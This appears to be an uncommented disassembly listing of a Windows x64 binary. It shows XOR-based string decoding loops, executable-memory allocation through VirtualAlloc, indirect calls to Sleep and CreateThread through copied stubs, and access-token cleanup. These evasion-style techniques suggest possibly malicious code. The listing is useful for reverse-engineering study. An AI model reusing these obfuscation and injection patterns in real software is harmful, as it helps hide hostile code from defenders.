shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0xbb0]
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0xbb0]
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x30
jl 0x140239da0
cmp r9d, 0x31
jge 0x140239f91
movsxd rax, r9d
lea r10, [rsp + 0x4c8]
add r10, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3b
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x4c8f8d29
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x31
jl 0x140239f40
xorps xmm0, xmm0
movups xmmword [rsp + 0x328], xmm0
mov qword [rsp + 0x338], rdi
mov qword [rsp + 0x340], rdi
lea rax, [rsp + 0x4c8]
mov r8, r15
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140239fc0
lea rdx, [rsp + 0x4c8]
lea rcx, [rsp + 0x328]
call fcn.1402071a0
lea rcx, [rsp + 0x328]
call fcn.1401fab60
mov rbx, qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x1b0], 0x5dc
xorps xmm0, xmm0
movups xmmword [rsp + 0xbd0], xmm0
lea rcx, [rsp + 0xab18]
mov qword [rsp + 0xbd8], r14
mov qword [rsp + 0xbe0], rcx
mov rax, qword [rcx]
xor rax, r14
mov qword [rsp + 0xbb0], rax
mov qword [rsp + 0xbd0], rax
mov qword [rcx], rdi
mov edx, edi
mov rcx, qword [0x14028e110]
test rcx, rcx
je 0x14023a07c
mov r8, rdi
lea rax, [0x140242e50]
cmp rcx, rax
je 0x14023a06b
inc edx
mov r8d, edx
mov rcx, qword [rsi + rdx*8 + 0x28e110]
test rcx, rcx
jne 0x14023a052
jmp 0x14023a07c
mov r8, qword [rsi + r8*8 + 0x2903f0]
test r8, r8
jne 0x14023a168
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14023a0a5
mov r8, rdi
jmp 0x14023a140
lea rax, [0x140242e50]
mov rcx, r8
mov rdx, r13
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14023a0b2
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14028e760]
lea rcx, [0x140242e50]
mov qword [rsi + rax*8 + 0x28e110], rcx
mov qword [rsi + rax*8 + 0x2903f0], r8
inc rax
mov qword [0x14028e760], rax
lea rdx, [rsp + 0x1b0]
mov rcx, rbx
call r8
nop
mov rax, qword [rsp + 0xbb0]
xor rax, r14
lea rcx, [rsp + 0xab18]
mov qword [rcx], rax
movups xmm0, xmmword [str._b__3__582w]
movups xmmword [rsp + 0x290], xmm0
movups xmm1, xmmword [0x1402784d0]
movups xmmword [rsp + 0x2a0], xmm1
movzx eax, word [0x1402784e0]
mov word [rsp + 0x2b0], ax
mov r9d, edi
cmp dword [0x14028a090], 2
jl 0x14023a363
movdqa xmmword [rsp + 0xbb0], xmm9
lea rcx, [rsp + 0x294]
nop dword [rax]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0xbb0]
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0xbb0]
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x20
jl 0x14023a1e0
cmp r9d, 0x22
jge 0x14023a3d1
movsxd rax, r9d
lea r10, [rsp + 0x290]
add r10, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3b
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x4c8f8d29
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x22
jl 0x14023a380
xorps xmm0, xmm0
movups xmmword [rsp + 0x348], xmm0
mov qword [rsp + 0x358], rdi
mov qword [rsp + 0x360], rdi
lea rax, [rsp + 0x290]
mov r8, r15
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14023a400
lea rdx, [rsp + 0x290]
lea rcx, [rsp + 0x348]
call fcn.1402071a0
lea rcx, [rsp + 0x348]
call fcn.1401fab60
nop
mov rbx, qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsp + 0x200], rdi
mov dword [rsp + 0x1b4], edi
mov qword [rsp + 0x1f8], rdi
lea rax, [0x1401fde20]
mov qword [rsp + 0x1f0], rax
mov dword [rsp + 0x180], edi
mov qword [rsp + 0x210], rdi
xorps xmm0, xmm0
movups xmmword [rsp + 0xbd0], xmm0
lea rcx, [rsp + 0xab18]
mov qword [rsp + 0xbd8], r14
mov qword [rsp + 0xbe0], rcx
mov rax, qword [rcx]
xor rax, r14
mov qword [rsp + 0xbb0], rax
mov qword [rsp + 0xbd0], rax
mov qword [rcx], rdi
mov edx, edi
mov rcx, qword [0x140290730]
test rcx, rcx
je 0x14023a4ea
mov r10, rdi
lea rax, [0x1402435d0]
nop dword [rax]
cmp rcx, rax
je 0x14023a4d9
inc edx
mov r10d, edx
mov rcx, qword [rsi + rdx*8 + 0x290730]
test rcx, rcx
jne 0x14023a4c0
jmp 0x14023a4ea
mov r10, qword [rsi + r10*8 + 0x2916f0]
test r10, r10
jne 0x14023a5d6
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r10, rax
test rax, rax
jne 0x14023a513
mov r10, rdi
jmp 0x14023a5ae
lea rax, [0x1402435d0]
mov rcx, r10
mov rdx, r13
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14023a520
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14028fa30]
lea rcx, [0x1402435d0]
mov qword [rsi + rax*8 + 0x290730], rcx
mov qword [rsi + rax*8 + 0x2916f0], r10
inc rax
mov qword [0x14028fa30], rax
lea rax, [rsp + 0x200]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x1b4]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x1f8]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x1f0]
lea r8, [rsp + 0x180]
lea rdx, [rsp + 0x210]
mov rcx, rbx
call r10
nop
mov rax, qword [rsp + 0xbb0]
xor rax, r14
lea rcx, [rsp + 0xab18]
mov qword [rcx], rax
jmp 0x14023a6aa
lea rcx, [0x1402435d0]
mov rbx, qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsp + 0x218], rdi
mov dword [rsp + 0x184], edi
mov qword [rsp + 0x220], rdi
lea rax, [0x14022a1d0]
mov qword [rsp + 0x228], rax
mov dword [rsp + 0x188], edi
mov qword [rsp + 0x230], rdi
xorps xmm0, xmm0
movups xmmword [rsp + 0xbd0], xmm0
lea rdx, [rsp + 0xab18]
mov qword [rsp + 0xbd8], r14
mov qword [rsp + 0xbe0], rdx
mov rax, qword [rdx]
xor rax, r14
mov qword [rsp + 0xbb0], rax
mov qword [rsp + 0xbd0], rax
mov qword [rdx], rdi
mov edx, edi
mov rax, qword [0x140290730]
test rax, rax
je 0x14023a76a
mov r10, rdi
nop word [rax + rax]
cmp rax, rcx
je 0x14023a759
inc edx
mov r10d, edx
mov rax, qword [rsi + rdx*8 + 0x290730]
test rax, rax
jne 0x14023a740
jmp 0x14023a76a
mov r10, qword [rsi + r10*8 + 0x2916f0]
test r10, r10
jne 0x14023a856
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r10, rax
test rax, rax
jne 0x14023a793
mov r10, rdi
jmp 0x14023a82e
lea rax, [0x1402435d0]
mov rcx, r10
mov rdx, r13
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14023a7a0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14028fa30]
lea rcx, [0x1402435d0]
mov qword [rsi + rax*8 + 0x290730], rcx
mov qword [rsi + rax*8 + 0x2916f0], r10
inc rax
mov qword [0x14028fa30], rax
lea rax, [rsp + 0x218]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x184]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x220]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x228]
lea r8, [rsp + 0x188]
lea rdx, [rsp + 0x230]
mov rcx, rbx
call r10
nop
mov rax, qword [rsp + 0xbb0]
xor rax, r14
lea rcx, [rsp + 0xab18]
mov qword [rcx], rax
jmp 0x14023a92a
mov eax, dword [0x14028a090]
movups xmm4, xmmword [0x140276ba0]
movups xmmword [rsp + 0xf0], xmm4
mov edx, dword [0x140276bb0]
mov dword [rsp + 0x100], edx
cmp byte [0x140276bb3], 0
je 0x14023ad3c
mov rax, qword [rsp + 0xcf0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rsp + rcx + 0xcf0], rax
mov rax, qword [rsp + 0xcf0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x90]
mov dword [rsp + rcx + 0xcec], edx
lea rcx, [rsp + 0xd00]
call fcn.14023f120
lea rcx, [rsp + 0xd08]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rsp + 0xd80]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rsp + 0xc08]
call fcn.140240fd0
nop
lea rax, vtable.ATL::CSid.0
mov qword [rsp + 0xc70], rax
mov rdx, qword [rsp + 0xce0]
add rdx, 0xffffffffffffffe8
mov eax, r15d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14023be65
mov rcx, qword [rdx]
mov rax, qword [rcx]
mov r8, qword [rax + 8]
call r8
mov rdx, qword [rsp + 0xcd8]
add rdx, 0xffffffffffffffe8
mov eax, r15d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14023be8b
mov rcx, qword [rdx]
mov rax, qword [rcx]
mov r8, qword [rax + 8]
call r8
mov rdx, qword [rsp + 0xcd0]
add rdx, 0xffffffffffffffe8
mov eax, r15d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14023beb1
mov rcx, qword [rdx]
mov rax, qword [rcx]
mov r8, qword [rax + 8]
call r8
mov rdx, qword [rsp + 0xcc8]
add rdx, 0xffffffffffffffe8
lock xadd dword [rdx + 0x10], r15d
sub r15d, 1
jg 0x14023bed7
mov rcx, qword [rdx]
mov rax, qword [rcx]
mov r8, qword [rax + 8]
call r8
nop
lea rax, vtable.ATL::CAccessToken.0
mov qword [rsp + 0xbe8], rax
mov rdx, qword [rsp + 0xbf8]
mov rcx, qword [rsp + 0xbf0]
test rdx, rdx
je 0x14023bf16
test rcx, rcx
je 0x14023bf0e
call qword [sym.imp.USERENV.dll_UnloadUserProfile]
mov rcx, qword [rsp + 0xbf0]
mov qword [rsp + 0xbf8], rdi
test rcx, rcx
je 0x14023bf29
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0xbf0], rdi
mov edx, 8
mov rcx, qword [rsp + 0xc00]
call fcn.140266300
mov qword [rsp + 0xc00], rdi
lea rcx, [rsp + 0xc48]
call fcn.140240fd0
nop
mov rcx, qword [rsp + 0xc28]
xor rcx, r14
mov rax, qword [rsp + 0x240]
mov qword [rax], rcx
mov rcx, qword [rsp + 0xaa60]
xor rcx, rsp
call fcn.1402662e0
lea r11, [rsp + 0xab00]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
mov rsp, r11
pop r15
pop r14
pop r13
ret
test r10d, r10d
mov edx, dword [rbx + 0x20]
jne 0x140236340
mov rax, qword [rax]
jmp 0x140236310
call fcn.1401f1090
nop
mov ecx, 0x80004005
call fcn.1401f1b90
nop
mov ecx, 0x80004005
call fcn.1401f1b90
nop
mov ecx, 0x80004005
call fcn.1401f1b90
nop
mov ecx, 0x80004005
call fcn.1401f1b90
int3